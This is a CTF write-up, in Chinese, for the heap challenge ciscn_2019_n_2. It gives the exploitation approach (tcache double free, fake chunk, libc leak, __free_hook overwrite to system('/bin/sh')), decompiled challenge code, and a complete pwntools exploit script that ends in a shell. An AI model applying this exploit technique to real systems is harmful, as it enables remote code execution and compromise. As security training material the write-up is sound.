2019_pwn_ciscn_2019_n_2 writeup by kone
思路:deleteUser存在double free漏洞;
1.malloc 1次后,free 2次,再重新malloc;
2.然后修改fd指针,指向bss段的chunkList,构造fake chunk,实现任意地址写;
3.输出free got地址后,获取libc地址;
4.设置__free_hook内容为system()函数地址;
5.尝试调用free("/bin/sh"),实际上是调用system("/bin/sh"),从而拿到shell。
注意:
1.tcache直接free 2次就可以,并没有做检查(高版本glibc会检查double free);
2.因为开启了Full RELRO,所以无法修改GOT表;
EXP:#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-2 https://www.xuenixiang.com/ctfexercise-competition-417.html
int dispMenu()
{
puts("$$$$$$$");
puts("$ Baby Tcache $");
puts("$$$$$$$");
puts("$ 1. Create user $");
puts("$ 2. Delete user $ ");
puts("$ 3. Edit user $ ");
puts("$ 4. Display user $ ");
puts("$ 5. Add money $ ");
puts("$ 6. Buy gift $ ");
puts("$ 7. Exit $ ");
puts("$$$$$$$");
return printf("Your choice: ");
}
int createUser()
{
__int64 v1; // rbx
unsigned int v2; //
signed int i; //
for ( i = 0; i <= 2; ++i )
{
if ( !LODWORD(chunkList) )
{
v2 = i;
break;
}
if ( i == 2 )
return MEMORY(":(");
}
chunkList = malloc(0x18uLL);
printf("name:");
myRead((void *)chunkList, 8);
printf("age:", 8LL);
v1 = chunkList;
*(_QWORD *)(v1 + 16) = readNum();
*(_QWORD *)(chunkList + 8LL) = 0LL;
LODWORD(chunkList) = 1;
return printf("idx: %d\n", v2);
}
int deleteUser()
{
signed int v1; //
printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
exit(1);
if ( !chunkList )
return puts(":(");
free((void *)chunkList);
LODWORD(chunkList) = 0;
return puts(":)");
}
int editUser()
{
const char *v0; // rbx
signed int v2; //
printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
exit(1);
if ( !chunkList || !LODWORD(chunkList) )
return puts(":(");
printf("name:");
myRead(chunkList, 8LL);
printf("age:");
v0 = chunkList;
*((_QWORD *)v0 + 2) = readNum();
return puts(":)");
}
int printUser()
{
signed int v1; //
printf("Index:");
v1 = readNum();
if ( v1 > 3 || v1 < 0 )
exit(1);
if ( !chunkList || !LODWORD(chunkList) )
return puts(":(");
puts("------------------------");
printf("name: ");
puts(chunkList);
printf("age: %lld\nmoney: %lld\n", *((_QWORD *)chunkList + 2), *((_QWORD *)chunkList + 1));
puts("------------------------");
return puts(":)");
}
int addMoney()
{
signed int v1; //
printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
exit(1);
if ( !chunkList )
return puts(":(");
++*((_QWORD *)chunkList + 1);
return puts(":)");
}
int buyGift()
{
int v1; //
int v2; //
void *buf; //
printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
exit(1);
if ( !chunkList || *((_QWORD *)chunkList + 1) <= 0x100000LL )
return puts(":(");
printf("input the address you want to leak:");
_isoc99_scanf("%p", &buf);
printf("input the size you want to leak:");
_isoc99_scanf("%d", &v1);
printf("data:[[[");
write(1, buf, v1);
puts("]]]\n");
return puts(":)");
}
// name (8Byte)
// money (8Byte)
// age(8Byte)
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; //
initIO(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
dispMenu();
v4 = readNum();
if ( v4 != 1 )
break;
createUser();
}
if ( v4 != 2 )
break;
deleteUser();
}
if ( v4 != 3 )
break;
editUser();
}
if ( v4 != 4 )
break;
printUser();
}
if ( v4 != 5 )
break;
addMoney();
}
if ( v4 != 6 )
break;
buyGift();
}
if ( v4 == 7 )
break;
puts("Invalid Choice");
}
return 0;
}
ssize_t __fastcall myRead(void *a1, int a2)
{
return read(0, a1, a2);
}
__int64 readNum()
{
__int64 result; // rax
__int64 v1; // rdx
unsigned __int64 v2; // rt1
char nptr; //
unsigned __int64 v4; //
v4 = __readfsqword(0x28u);
myRead(&nptr, 16LL);
result = atoll(&nptr);
v2 = __readfsqword(0x28u);
v1 = v2 ^ v4;
if ( v2 != v4 )
__stack_chk_fail(&nptr, 16LL, v1);
return result;
}
"""
from pwn import *
from LibcSearcher import *
import sys
context(os="linux", log_level="debug")
if len(sys.argv) == 2:
p = process(sys.argv)
elif len(sys.argv) == 3:
p = remote(sys.argv, sys.argv)
else:
print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
exit(1)
def create(name, age):
p.sendlineafter("Your choice: ", "1")
p.sendafter("name:", name)
p.sendlineafter("age:", str(age))
def edit(idx, name, age):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", str(idx))
p.sendafter("name:", name)
p.sendlineafter("age:", str(age))
def delete(idx):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index:", str(idx))
def show(idx):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Index:", str(idx))
def addm(idx):
p.sendlineafter("Your choice: ", "5")
p.sendlineafter("Index:", str(idx))
chunklist_addr = 0x602060
free_got = 0x601f88
create('a', 1) # 0
delete(0)
delete(0)
create(p64(chunklist_addr), 1) # 0
create(p64(chunklist_addr), 1) # 1
create(p64(free_got), 1) # 2
addm(2)
show(0)
p.recvuntil("name: ")
free_addr = u64(p.recvline(keepends=False).ljust(8, '\x00'))
print(hex(free_addr))
p.recvuntil(":)\n")
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
free_hook = libc_base + libc.dump("__free_hook")
edit(2, p64(free_hook), 1)
edit(0, p64(system_addr), 1)
edit(2, "/bin/sh\x00", 1)
delete(2)
p.interactive()
页:
[1]